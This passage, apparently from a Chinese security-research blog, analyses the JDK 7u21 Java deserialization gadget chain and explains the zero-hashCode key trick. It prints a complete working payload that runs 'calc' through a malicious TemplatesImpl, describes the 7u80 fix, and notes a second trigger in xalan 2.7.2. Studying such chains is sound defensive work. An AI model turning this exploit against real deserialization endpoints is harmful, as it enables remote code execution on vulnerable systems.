for( ;var2.hasNext(); ) {
var3 = (Entry)var2.next();
String key = var3.getKey();//(可控map的键)
Object value = var3.getValue();//(可控map的值)
var1 += 127 *
key.hashCode() ^ //可控map的键 的 hashCode
memberValueHashCode(value); //可控map的值的 hashCode
}

return var1;
}

sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode

1
2
3
4
5
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {//不是数组的话获取传入值的hashCode。
return var0.hashCode(); //返回var0这个对象的hashCode
...

我们的目的是为了满足以下等式:

Proxy的hashCode = 127 * 可控键的hashCode ^ 可控值的hashCode == TemplatesImpl的hashCode

*与 ^(异或) ,前者优先级高,后者优先级低,所以正常从左到右运算

又 0 ^ n = n

那么只需要可控键的hashCode等于0就会出现:

127 * 0 ^ TemplatesImpl的hashCode == TemplatesImpl的hashCode

this.memberValues中map中键值对的值为我们的恶意TemplatesImpl类即可,接下来需要它的键名的hashCode为0

研究员就是会寻找到一些神奇的值比如"f5a5a608""" 这些值的hashCode为0!!!

hashCode为0.png

所以我们在this.memberValues中赋值键值对 ("f5a5a608"->TemplatesImpl恶意类)即可。

看payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static void main(String[] args) throws Exception {
//生成恶意的templates类
Templates templates = Gadgets.createTemplatesImpl("calc");
//AnnotationInvocationHandler类this.memberValues的map,填入键值对来满足hash相等
Map map = new HashMap();
String magicStr = "f5a5a608";
//String magicStr_null = "";//也可
//此处需要的先往map中放入一个没用的值,之后说明
map.put(magicStr,"Override");

//生成proxy对象
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);//this.type,this.memberValues
Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);

//生成LinkedHashSet,按照顺序一次放入templates和proxy
HashSet set = new LinkedHashSet(); // 填入
set.add(templates);
set.add(proxy);
//重新修改map的值
map.put(magicStr,templates);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(set);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
//反序列化
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}

this.memberValues的键值对的值先占位

以上代码还会有最后一个疑问,为啥我们填入this.memberValues的map要先试用override字符串来占位,直接填入恶意的攻击类templates不行么?

确实是不行的,因为我们可以看到我们在生成LinkedHashSet时调用了java.util.HashSet#add

1
2
3
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}

这里调用了我们触发漏洞的函数map.put(),同时也是按照我们的漏洞触发顺序去调用map.put,这会导致payload会在我们本地触发,之后会无法序列化成功(至于为啥序列化不成功不想追究了!)

直接templates.png

所以一套完美的利用链就分析完了!

修复情况

我们在7u80版本中去查看AnnotationInvocationHandler的构造方法,会发现对于this.type进行了校验必须为Annotation.class。

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

如果我们们使用以上的payload去打7u80版本的jdk就会在反序列化AnnotationInvocationHandler类调用其构造函数的时候,报错。

这也就是为什么之前的payload说到在高版本创建需要使用反射把恶意的this.type写进去,当然构造时可以这样,触发时就必须走构造函数,骚操作不了了。

主要组件的 LinkedHashSet -> AnnotationInvocationHandler -> templateImpl 就因为AnnotationInvocationHandler 反序列化失败而失败。

小结

一路分析下来,只能说这个利用链实在是太骚了。

从templates.newTransformer触发链的限制条件,使用javassist去构造templates恶意类。(其中分析了_tfactory与版本问题,payload位置static与构造函数的问题)

再通过java的动态代理特性,选中了AnnotationInvocationHandler这个拦截器。

我们通过AnnotationInvocationHandler的invoke拦截实现类的特性,选择了this.type特殊构造了AnnotationInvocationHandler类。链接了 proxy.equals(templates)到Templates.newTransformer()。

再是通过LinkedHashSet类,左打通了序列化与反序列化的入口点,右在反序列化恢复集合的过程中存在着一处a.equals(b)可以连接proxy.equals(templates)这一触发点。

最神奇的是为了满足到达触发点的要求,还反过头来利用AnnotationInvocationHandler类中的invoke方法中的hashCode路径。在AnnotationInvocationHandler构造中寻求了一处特殊的this.memberValues,来达成hash(a)=hash(b)的骚操作。

只可以说安全研究员真是大佬….这个穿针引线一处不差的。

虽然说这条利用链已经被封了好久了,但是我们也可以意识到被封杀的是AnnotationInvocationHandler构造方法处。

如果可以通过其他途径接上templates.newTransformer,就可以构筑一条新的链。因为单单templates.newTransformer是仍然可以作为payload执行的触发点的(比如7u80)。

2019.12.12更新

在看fastjsonexploit框架时,发现有Templates恶意类竟然有第二个触发点。前文中我们讲到的TemplatesImpl类是jdk自带的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl包中的类

看了fastjsonexploit的代码后,发现在另外一个包里面有一个跟我们上面TemplatesImpl几乎完全一样的一个类。

我们在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的父类Templates中查找继承该父类的类。(idea下ctrl+alt+B)

1212-另一个包.png

可以发现在org.apache.xalan.xsltc.trax.TemplatesImpl也继承该接口。该类与之前的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl几乎完全一致,payload也没有任何差别。只是在构造exp触发那个自定义类时,继承父类AbstractTranslet接口不一样(org.apache.xalan.xsltc.runtime.AbstractTranslet),但是如果我们是在代码中动态指定父类的话,这也无关痛痒。

在github的代码中查找继承Templates类是无法找到该类的。

因为这个类是位于xalan这个第三方包里面,而不是在jdk7本身的代码中。

1
2
3
4
5
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>

可见这个触发点的利用链利用条件就更加苛刻了(jdk7u21+xalan2.7.2)。

不过单独就最后的这个触发点拎出来,也是一个新的思路,这样就把对于jdk7版本的限制变成了即使是jdk8的环境下,只要使用了xalan 2.7.2这个包,也会引入一个触发点。也算是扩大了攻击面吧。

参考

https://www.freebuf.com/vuls/175754.html

https://b1ue.cn/archives/176.html

https://gist.github.com/frohoff/24af7913611f8406eaf3

https://sec.xiaomi.com/article/41

javassist使用全解析